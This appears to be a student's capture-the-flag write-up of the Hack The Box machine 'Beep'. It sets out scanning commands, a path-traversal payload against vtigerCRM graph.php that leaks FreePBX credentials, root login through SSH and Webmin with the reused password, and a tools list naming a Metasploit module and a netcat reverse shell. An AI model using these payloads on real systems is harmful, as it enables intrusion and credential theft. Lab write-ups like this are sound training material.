Loading
Cybersecurity undergraduate and web developer based in Sri Lanka, passionate about penetration testing, VAPT, and ethical hacking.
Elastix / FreePBX server with multiple attack vectors. Exploited Local File Inclusion to grab credentials, then escalated to root via sudo misconfiguration.
Beep runs Elastix — a Linux PBX system built on FreePBX and Asterisk.
The most reliable path uses a Local File Inclusion vulnerability in vtigerCRM
to leak credentials from the config file, then logs in directly as
root via SSH — no privilege escalation needed.
Start with a full Nmap scan to identify open ports and service versions:
nmap -sV -sC -p- --min-rate 5000 10.10.10.7
Key results from the scan:
22 — OpenSSH 4.325 — Postfix smtpd80 — Apache httpd (redirects to 443)110 — Cyrus pop3d143 — Cyrus imapd443 — HTTPS — Elastix login panel993 / 995 — IMAPS / POP3S3306 — MySQL10000 — Webmin httpd
The most interesting services are the Elastix panel on port 443,
Webmin on port 10000, and SSH on port 22.
Multiple exploitation paths exist on this box.
Run a directory scan against the Elastix panel — use -k to skip SSL validation:
gobuster dir -u https://10.10.10.7 \
-w /usr/share/wordlists/dirb/common.txt -k
Notable directories discovered:
/admin — FreePBX administration panel/configs — configuration directory (403 Forbidden)/recordings — FreePBX call recordings interface/vtigercrm — vtiger CRM application
The /vtigercrm endpoint is the key finding — it contains
a known Local File Inclusion vulnerability.
The graph.php file does not sanitise the
current_language parameter. Use it to read
/etc/amportal.conf via path traversal:
https://10.10.10.7/vtigercrm/graph.php
?current_language=../../../../../../../../etc/amportal.conf%00
&module=Accounts&action
The response leaks the FreePBX configuration in plaintext:
AMPDBUSER=asteriskuser
AMPDBPASS=jEhdIekWmdjE
AMPMGRUSER=admin
AMPMGRPASS=jEhdIekWmdjE
ARI_ADMIN_USERNAME=admin
ARI_ADMIN_PASSWORD=jEhdIekWmdjE
The password jEhdIekWmdjE is reused across every service.
PBX systems are frequently misconfigured with root SSH access enabled —
try it immediately against port 22.
The old OpenSSH version requires legacy key exchange flags. Connect using:
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-dss root@10.10.10.7
Enter jEhdIekWmdjE when prompted. Verify the session:
id
uid=0(root) gid=0(root) groups=0(root)
Direct root — no privilege escalation needed.
With a root shell, grab both flags:
# User flag
cat /home/fanis/user.txt
# Root flag
cat /root/root.txt
Webmin on port 10000 accepts the same root:jEhdIekWmdjE
credentials. Navigate to Others > Command Shell for a root shell
with no exploit required — pure credential reuse:
https://10.10.10.7:10000
# Log in as root / jEhdIekWmdjE
# Others > Command Shell
This is a reliable alternate path if SSH key exchange negotiation fails on certain client versions.
-oKexAlgorithms flags to connectnmap — port scanning and service enumerationgobuster — web directory enumerationbrowser / curl — LFI via vtigerCRM graph.phpssh — direct root login with recovered credentialsWebmin — alternate root shell via command interfaceMetasploit — exploit/multi/http/elastix_graph_php_lfinetcat — reverse shell listener